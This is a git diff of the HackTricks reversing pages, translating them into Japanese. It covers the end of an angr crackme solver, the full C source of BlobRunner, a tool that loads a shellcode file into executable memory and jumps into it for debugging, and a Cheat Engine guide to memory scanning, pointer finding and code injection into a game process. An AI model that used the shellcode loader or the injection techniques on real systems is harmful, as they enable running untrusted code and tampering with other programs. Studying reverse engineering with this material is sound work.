angr.SIM_PROCEDURES['libc']['printf']()) - project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']()) - project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']()) - project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']()) +initial_state = project.factory.entry_state() - simulation = project.factory.simgr(initial_state) +#Find the addresses were the lib functions are loaded in the binary +#For example you could find: call 0x804ed80 <__isoc99_scanf> +project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']()) +project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']()) +project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']()) +project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']()) - def is_successful(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Good Job.'.encode() in stdout_output # :boolean +simulation = project.factory.simgr(initial_state) - def should_abort(state): - stdout_output = state.posix.dumps(sys.stdout.fileno()) - return 'Try again.'.encode() in stdout_output # :boolean +def is_successful(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Good Job.'.encode() in stdout_output # :boolean - simulation.explore(find=is_successful, avoid=should_abort) - - if simulation.found: - solution_state = simulation.found[0] - print(solution_state.posix.dumps(sys.stdin.fileno()).decode()) - else: - raise Exception('Could not find the solution') +def should_abort(state): +stdout_output = state.posix.dumps(sys.stdout.fileno()) +return 'Try again.'.encode() in stdout_output # :boolean + +simulation.explore(find=is_successful, avoid=should_abort) + +if simulation.found: +solution_state = simulation.found[0] +print(solution_state.posix.dumps(sys.stdin.fileno()).decode()) +else: +raise Exception('Could not find the solution') if __name__ == '__main__': - main(sys.argv) +main(sys.argv) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/reversing/reversing-tools-basic-methods/blobrunner.md b/reversing/reversing-tools-basic-methods/blobrunner.md index e425cbb50..78dc37e36 100644 --- a/reversing/reversing-tools-basic-methods/blobrunner.md +++ b/reversing/reversing-tools-basic-methods/blobrunner.md @@ -1,25 +1,22 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**PEASSの最新バージョンにアクセスしたいですか**、または**HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-The only modified line from the [original code](https://github.com/OALabs/BlobRunner) is the line 10. -In order to compile it just **create a C/C++ project in Visual Studio Code, copy and paste the code and build it**. - +オリジナルコード(https://github.com/OALabs/BlobRunner)から変更されたのは10行目だけです。 +**Visual Studio CodeでC/C++プロジェクトを作成し、コードをコピーして貼り付け、ビルド**するだけでコンパイルできます。 ```c #include #include @@ -46,200 +43,195 @@ const char* _banner = " __________.__ ___. __________\n" void banner() { - system("cls"); - printf(_banner, _version); - return; +system("cls"); +printf(_banner, _version); +return; } LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) { - LPVOID lpvBase; - FILE* file; - unsigned long fileLen; - char* buffer; - DWORD dummy; +LPVOID lpvBase; +FILE* file; +unsigned long fileLen; +char* buffer; +DWORD dummy; - file = fopen(inputfile_name, "rb"); +file = fopen(inputfile_name, "rb"); - if (!file) { - printf(" [!] Error: Unable to open %s\n", inputfile_name); +if (!file) { +printf(" [!] Error: Unable to open %s\n", inputfile_name); - return (LPVOID)NULL; - } +return (LPVOID)NULL; +} - printf(" [*] Reading file...\n"); - fseek(file, 0, SEEK_END); - fileLen = ftell(file); //Get Length +printf(" [*] Reading file...\n"); +fseek(file, 0, SEEK_END); +fileLen = ftell(file); //Get Length - printf(" [*] File Size: 0x%04x\n", fileLen); - fseek(file, 0, SEEK_SET); //Reset +printf(" [*] File Size: 0x%04x\n", fileLen); +fseek(file, 0, SEEK_SET); //Reset - fileLen += 1; +fileLen += 1; - buffer = (char*)malloc(fileLen); //Create Buffer - fread(buffer, fileLen, 1, file); - fclose(file); +buffer = (char*)malloc(fileLen); //Create Buffer +fread(buffer, fileLen, 1, file); +fclose(file); - printf(" [*] Allocating Memory..."); +printf(" [*] Allocating Memory..."); - lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); +lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); - printf(".Allocated!\n"); - printf(" [*] |-Base: 0x%08x\n", (int)(size_t)lpvBase); - printf(" [*] Copying input data...\n"); +printf(".Allocated!\n"); +printf(" [*] |-Base: 0x%08x\n", (int)(size_t)lpvBase); +printf(" [*] Copying input data...\n"); - CopyMemory(lpvBase, buffer, fileLen); - return lpvBase; +CopyMemory(lpvBase, buffer, fileLen); +return lpvBase; } void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug) { - LPVOID shell_entry; +LPVOID shell_entry; #ifdef _WIN64 - DWORD thread_id; - HANDLE thread_handle; - const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n"; +DWORD thread_id; +HANDLE thread_handle; +const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n"; #else - const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n"; +const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n"; #endif - shell_entry = (LPVOID)((UINT_PTR)base + offset); +shell_entry = (LPVOID)((UINT_PTR)base + offset); #ifdef _WIN64 - printf(" [*] Creating Suspended Thread...\n"); - thread_handle = CreateThread( - NULL, // Attributes - 0, // Stack size (Default) - shell_entry, // Thread EP - NULL, // Arguments - 0x4, // Create Suspended - &thread_id); // Thread identifier +printf(" [*] Creating Suspended Thread...\n"); +thread_handle = CreateThread( +NULL, // Attributes +0, // Stack size (Default) +shell_entry, // Thread EP +NULL, // Arguments +0x4, // Create Suspended +&thread_id); // Thread identifier - if (thread_handle == NULL) { - printf(" [!] Error Creating thread..."); - return; - } - printf(" [*] Created Thread: [%d]\n", thread_id); - printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry); +if (thread_handle == NULL) { +printf(" [!] Error Creating thread..."); +return; +} +printf(" [*] Created Thread: [%d]\n", thread_id); +printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry); #endif - if (nopause == false) { - printf("%s", msg); - getchar(); - } - else - { - if (jit == true) { - // Force an exception by making the first byte not executable. - // This will cause - DWORD oldp; +if (nopause == false) { +printf("%s", msg); +getchar(); +} +else +{ +if (jit == true) { +// Force an exception by making the first byte not executable. +// This will cause +DWORD oldp; - printf(" [*] Removing EXECUTE access to trigger exception...\n"); +printf(" [*] Removing EXECUTE access to trigger exception...\n"); - VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp); - } - } +VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp); +} +} #ifdef _WIN64 - printf(" [*] Resuming Thread..\n"); - ResumeThread(thread_handle); +printf(" [*] Resuming Thread..\n"); +ResumeThread(thread_handle); #else - printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry); - printf(" [*] Jumping to shellcode\n"); - __asm jmp shell_entry; +printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry); +printf(" [*] Jumping to shellcode\n"); +__asm jmp shell_entry; #endif } void print_help() { - printf(" [!] Error: No file!\n\n"); - printf(" Required args: \n\n"); - printf(" Optional Args:\n"); - printf(" --offset The offset to jump into.\n"); - printf(" --nopause Don't pause before jumping to shellcode. Danger!!! \n"); - printf(" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\n"); - printf(" --debug Verbose logging.\n"); - printf(" --version Print version and exit.\n\n"); +printf(" [!] Error: No file!\n\n"); +printf(" Required args: \n\n"); +printf(" Optional Args:\n"); +printf(" --offset The offset to jump into.\n"); +printf(" --nopause Don't pause before jumping to shellcode. Danger!!! \n"); +printf(" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\n"); +printf(" --debug Verbose logging.\n"); +printf(" --version Print version and exit.\n\n"); } int main(int argc, char* argv[]) { - LPVOID base; - int i; - int offset = 0; - bool nopause = false; - bool debug = false; - bool jit = false; - char* nptr; +LPVOID base; +int i; +int offset = 0; +bool nopause = false; +bool debug = false; +bool jit = false; +char* nptr; - banner(); +banner(); - if (argc < 2) { - print_help(); - return -1; - } +if (argc < 2) { +print_help(); +return -1; +} - printf(" [*] Using file: %s \n", argv[1]); +printf(" [*] Using file: %s \n", argv[1]); - for (i = 2; i < argc; i++) { - if (strcmp(argv[i], "--offset") == 0) { - printf(" [*] Parsing offset...\n"); - i = i + 1; - if (strncmp(argv[i], "0x", 2) == 0) { - offset = strtol(argv[i], &nptr, 16); - } - else { - offset = strtol(argv[i], &nptr, 10); - } - } - else if (strcmp(argv[i], "--nopause") == 0) { - nopause = true; - } - else if (strcmp(argv[i], "--jit") == 0) { - jit = true; - nopause = true; - } - else if (strcmp(argv[i], "--debug") == 0) { - debug = true; - } - else if (strcmp(argv[i], "--version") == 0) { - printf("Version: %s", _version); - } - else { - printf("[!] Warning: Unknown arg: %s\n", argv[i]); - } - } +for (i = 2; i < argc; i++) { +if (strcmp(argv[i], "--offset") == 0) { +printf(" [*] Parsing offset...\n"); +i = i + 1; +if (strncmp(argv[i], "0x", 2) == 0) { +offset = strtol(argv[i], &nptr, 16); +} +else { +offset = strtol(argv[i], &nptr, 10); +} +} +else if (strcmp(argv[i], "--nopause") == 0) { +nopause = true; +} +else if (strcmp(argv[i], "--jit") == 0) { +jit = true; +nopause = true; +} +else if (strcmp(argv[i], "--debug") == 0) { +debug = true; +} +else if (strcmp(argv[i], "--version") == 0) { +printf("Version: %s", _version); +} +else { +printf("[!] Warning: Unknown arg: %s\n", argv[i]); +} +} - base = process_file(argv[1], jit, offset, debug); - if (base == NULL) { - printf(" [!] Exiting..."); - return -1; - } - printf(" [*] Using offset: 0x%08x\n", offset); - execute(base, offset, nopause, jit, debug); - printf("Pausing - Press any key to quit.\n"); - getchar(); - return 0; +base = process_file(argv[1], jit, offset, debug); +if (base == NULL) { +printf(" [!] Exiting..."); +return -1; +} +printf(" [*] Using offset: 0x%08x\n", offset); +execute(base, offset, nopause, jit, debug); +printf("Pausing - Press any key to quit.\n"); +getchar(); +return 0; } ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/reversing/reversing-tools-basic-methods/cheat-engine.md b/reversing/reversing-tools-basic-methods/cheat-engine.md index 6ac919323..d082b2efe 100644 --- a/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -1,179 +1,176 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-[**Cheat Engine**](https://www.cheatengine.org/downloads.php) is a useful program to find where important values are saved inside the memory of a running game and change them.\ -When you download and run it, you are **presented** with a **tutorial** of how to use the tool. If you want to learn how to use the tool it's highly recommended to complete it. +[**Cheat Engine**](https://www.cheatengine.org/downloads.php)は、実行中のゲームのメモリ内に重要な値が保存されている場所を見つけて変更するための便利なプログラムです。\ +ダウンロードして実行すると、ツールの使用方法についてのチュートリアルが表示されます。ツールの使用方法を学びたい場合は、チュートリアルを完了することを強くお勧めします。 -# What are you searching? +# 何を探していますか? ![](<../../.gitbook/assets/image (580).png>) -This tool is very useful to find **where some value** (usually a number) **is stored in the memory** of a program.\ -**Usually numbers** are stored in **4bytes** form, but you could also find them in **double** or **float** formats, or you may want to look for something **different from a number**. For that reason you need to be sure you **select** what you want to **search for**: +このツールは、プログラムのメモリ内にある**特定の値**(通常は数値)が保存されている場所を見つけるのに非常に便利です。\ +通常、数値は**4バイト**形式で保存されますが、**倍精度**や**単精度**の形式で見つけることもあります。また、数値以外のものを探したい場合もあります。そのため、**検索する内容**を**選択**する必要があります。 ![](<../../.gitbook/assets/image (581).png>) -Also you can indicate **different** types of **searches**: +また、**異なる種類の検索**を指定することもできます。 ![](<../../.gitbook/assets/image (582).png>) -You can also check the box to **stop the game while scanning the memory**: +メモリのスキャン中にゲームを**停止**するためのチェックボックスもチェックできます。 ![](<../../.gitbook/assets/image (584).png>) -## Hotkeys +## ホットキー -In _**Edit --> Settings --> Hotkeys**_ you can set different **hotkeys** for different purposes like **stopping** the **game** (which is quiet useful if at some point you want to scan the memory). Other options are available: +_**編集 --> 設定 --> ホットキー**_で、**ゲームを停止**するなど、さまざまな目的に対して異なる**ホットキー**を設定できます(メモリのスキャンを行いたい場合には非常に便利です)。他のオプションも利用できます。 ![](<../../.gitbook/assets/image (583).png>) -# Modifying the value +# 値の変更 -Once you **found** where is the **value** you are **looking for** (more about this in the following steps) you can **modify it** double clicking it, then double clicking its value: +探している**値**の場所を**見つけたら**(次のステップで詳しく説明します)、それをダブルクリックして**変更**し、その値をダブルクリックします。 ![](<../../.gitbook/assets/image (585).png>) -And finally **marking the check** to get the modification done in the memory: +そして、変更をメモリに反映させるためにチェックを入れます。 ![](<../../.gitbook/assets/image (586).png>) -The **change** to the **memory** will be immediately **applied** (note that until the game doesn't use this value again the value **won't be updated in the game**). +メモリへの変更は即座に適用されます(ゲームがこの値を再度使用するまで、値はゲーム内で更新されません)。 -# Searching the value +# 値の検索 -So, we are going to suppose that there is an important value (like the life of your user) that you want to improve, and you are looking for this value in the memory) +したがって、重要な値(ユーザーのライフなど)を改善したいとし、その値をメモリ内で検索しているとします。 -## Through a known change +## 既知の変更を通じて -Supposing you are looking for the value 100, you **perform a scan** searching for that value and you find a lot of coincidences: +値が100であることを探して、その値を検索して多くの一致を見つけました。 ![](<../../.gitbook/assets/image (587).png>) -Then, you do something so that **value changes**, and you **stop** the game and **perform** a **next scan**: +次に、値が変更されるように何かを行い、ゲームを停止して**次のスキャン**を実行します。 ![](<../../.gitbook/assets/image (588).png>) -Cheat Engine will search for the **values** that **went from 100 to the new value**. Congrats, you **found** the **address** of the value you were looking for, you can now modify it.\ -_If you still have several values, do something to modify again that value, and perform another "next scan" to filter the addresses._ +Cheat Engineは、100から新しい値に変わった**値**を検索します。おめでとうございます、探していた値の**アドレス**を見つけました。これで変更できます。\ +_複数の値がまだある場合は、再びその値を変更するための何かを行い、別の「次のスキャン」を実行してアドレスをフィルタリングします。_ -## Unknown Value, known change +## 未知の値、既知の変更 -In the scenario you **don't know the value** but you know **how to make it change** (and even the value of the change) you can look for your number. +値を知らないが、**変更方法**(変更の値さえも)を知っている場合、その数値を探すことができます。 -So, start by performing a scan of type "**Unknown initial value**": +まず、タイプが「**未知の初期値**」のスキャンを実行します。 ![](<../../.gitbook/assets/image (589).png>) -Then, make the value change, indicate **how** the **value** **changed** (in my case it was decreased by 1) and perform a **next scan**: +次に、値を変更し、**値が変更された方法**(私の場合は1減少した)を示し、**次のスキャン**を実行します。 ![](<../../.gitbook/assets/image (590).png>) -You will be presented **all the values that were modified in the selected way**: +選択した方法で変更された**すべての値**が表示されます。 ![](<../../.gitbook/assets/image (591).png>) -Once you have found your value, you can modify it. +値が見つかったら、変更できます。 -Note that there are a **lot of possible changes** and you can do these **steps as much as you want** to filter the results: +可能な変更は**たくさんあり**、これらのステップを**何度でも**繰り返して結果をフィルタリングできます。 ![](<../../.gitbook/assets/image (592).png>) +## ランダムメモリアドレス - コードの検索 -## Random Memory Address - Finding the code +これまでに、値を格納しているアドレスを見つける方法を学びましたが、**ゲームの異なる実行では、そのアドレスはメモリの異なる場所にある可能性が非常に高い**です。そこで、常にそのアドレスを見つける方法を見つけましょう。 -Until know we learnt how to find an address storing a value, but it's highly probably that in **different executions of the game that address is in different places of the memory**. So lets find out how to always find that address. - -Using some of the mentioned tricks, find the address where your current game is storing the important value. Then (stopping the game if you whish) do a **right click** on the found **address** and select "**Find out what accesses this address**" or "**Find out what writes to this address**": +いくつかのトリックを使用して、現在のゲームが重要な値を格納しているアドレスを見つけます。次に(ゲームを停止する場合は)見つかった**アドレス**を**右クリック**して、「**このアドレスを使用しているものを検索**」または「**このアドレスに書き込んでいるものを検索**」を選択します。 ![](<../../.gitbook/assets/image (593).png>) -The **first option** is useful to know which **parts** of the **code** are **using** this **address** (which is useful for more things like **knowing where you can modify the code** of the game).\ -The **second option** is more **specific**, and will be more helpful in this case as we are interested in knowing **from where this value is being written**. +**最初のオプション**は、この**アドレスを使用しているコードのどの部分**を知るのに役立ちます(これはゲームのコードを変更できる場所を知るためにも役立ちます)。\ +**2番目のオプション**は、より**具体的**で、この場合は**どこからこの値が書き込まれているか**を知るのに役立ちます。 -Once you have selected one of those options, the **debugger** will be **attached** to the program and a new **empty window** will appear. Now, **play** the **game** and **modify** that **value** (without restarting the game). The **window** should be **filled** with the **addresses** that are **modifying** the **value**: +これらのオプションのいずれかを選択すると、**デバッガ**がプログラムに**アタッチ**され、新しい**空のウィンドウ**が表示されます。今、**ゲーム**を**プレイ**し、その**値**を**変更**します(ゲームを再起動せずに)。**ウィンドウ**には、**値を変更しているアドレス**が**表示**されるはずです。 ![](<../../.gitbook/assets/image (594).png>) -Now that you found the address it's modifying the value you can **modify the code at your pleasure** (Cheat Engine allows you to modify it for NOPs real quick): +値を変更しているアドレスを見つけたら、**コードを自由に変更**できます(Cheat Engineを使用して簡単に変更できます)。 ![](<../../.gitbook/assets/image (595).png>) -So, you can now modify it so the code won't affect your number, or will always affect in a positive way. +したがって、コードを変更して数値に影響を与えないようにしたり、常に正の影響を与えるようにしたりできます。 -## Random Memory Address - Finding the pointer +## ランダムメモリアドレス - ポインタの検索 -Following the previous steps, find where the value you are interested is. Then, using "**Find out what writes to this address**" find out which address writes this value and double click on it to get the disassembly view: +前の手順に従って、興味のある値がある場所を見つけます。次に、「**このアドレスに書き込んでいるものを検索**」を使用して、この値を書き込んでいるアドレスを見つけ、それをダブルクリックしてディスアセンブリビューを取得します。 ![](<../../.gitbook/assets/image (596).png>) -Then, perform a new scan **searching for the hex value between "\[]"** (the value of $edx in this case): +次に、**"\[\]"**(この場合の$edxの値)の間の16進数値を検索する新しいスキャンを実行します。 ![](<../../.gitbook/assets/image (597).png>) -(_If several appear you usually need the smallest address one_)\ -Now, we have f**ound the pointer that will be modifying the value we are interested in**. +(複数の場合は通常、最小のアドレスが必要です)\ +これで、**興味のある値を変更するポインタ**を見つけました。 -Click on "**Add Address Manually**": +「**アドレスを手動で追加**」をクリックします。 ![](<../../.gitbook/assets/image (598).png>) -Now, click on the "Pointer" check box and add the found address in the text box (in this scenario, the found address in the previous image was "Tutorial-i386.exe"+2426B0): +次に、「ポインタ」のチェックボックスをクリックし、テキストボックスに見つかったアドレスを追加します(このシナリオでは、前の画像で見つかったアドレスは「Tutorial-i386.exe」+2426B0でした)。 ![](<../../.gitbook/assets/image (599).png>) -(Note how the first "Address" is automatically populated from the pointer address you introduce) +(ポインタアドレスを入力すると、最初の「アドレス」が自動的に入力されることに注意してください) -Click OK and a new pointer will be created: +OKをクリックすると、新しいポインタが作成されます。 ![](<../../.gitbook/assets/image (600).png>) -Now, every time you modifies that value you are **modifying the important value even if the memory address where the value is is different.** +これで、値が異なるメモリアドレスにある場合でも、その値を変更するたびに重要な値が変更されます。 -## Code Injection +## コードインジェクション -Code injection is a technique where you inject a piece of code into the target process, and then reroute the execution of code to go through your own written code (like giving you points instead of resting them). +コードインジェクションは、ターゲットプロセスにコードの一部を注入し、コードの実行を自分自身の書かれたコードにリダイレクトする技術です(ポイントを減らす代わりにポイントを与えるなど)。 -So, imagine you have found the address that is subtracting 1 to the life of your player: +したがって、プレイヤーのライフを1減らしているアドレスを見つけたとします。 ![](<../../.gitbook/assets/image (601).png>) -Click on Show disassembler to get the **disassemble code**.\ -Then, click **CTRL+a** to invoke the Auto assemble window and select _**Template --> Code Injection**_ +「ディスアセンブラを表示」をクリックして、**ディスアセンブルコード**を取得します。\ +次に、**CTRL+a**をクリックしてオートアセンブルウィンドウを呼び出し、_**テンプレート --> コードインジェクション**_を選択します。 ![](<../../.gitbook/assets/image (602).png>) -Fill the **address of the instruction you want to modify** (this is usually autofilled): +**変更したい命令のアドレス**を入力します(通常は自動入力されます)。 ![](<../../.gitbook/assets/image (603).png>) -A template will be generated: +テンプレートが生成されます。 ![](<../../.gitbook/assets/image (604).png>) -So, insert your new assembly code in the "**newmem**" section and remove the original code from the "**originalcode**" if you don't want it to be executed**.** In this example the injected code will add 2 points instead of substracting 1: +したがって、新しいアセンブリコードを「**newmem**」セクションに挿入し、オリジナルのコードを実行しない場合は「**originalcode**」から削除します。この例では、注入されるコードは1を減算する代わりに2ポイントを追加します。 ![](<../../.gitbook/assets/image (605).png>) -**Click on execute and so on and your code should be injected in the program changing the behaviour of the functionality!** +**実行**をクリックすると、コードがプログラムに注入され、機能の動作が変更されます。 -# **References** +# **参考文献** -* **Cheat Engine tutorial, complete it to learn how to start with Cheat Engine** +* **Cheat Engineのチュートリアル、Cheat Engineの始め方を学ぶために完了してください** @@ -181,16 +178,14 @@ So, insert your new assembly code in the "**newmem**" section and remove the ori ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION 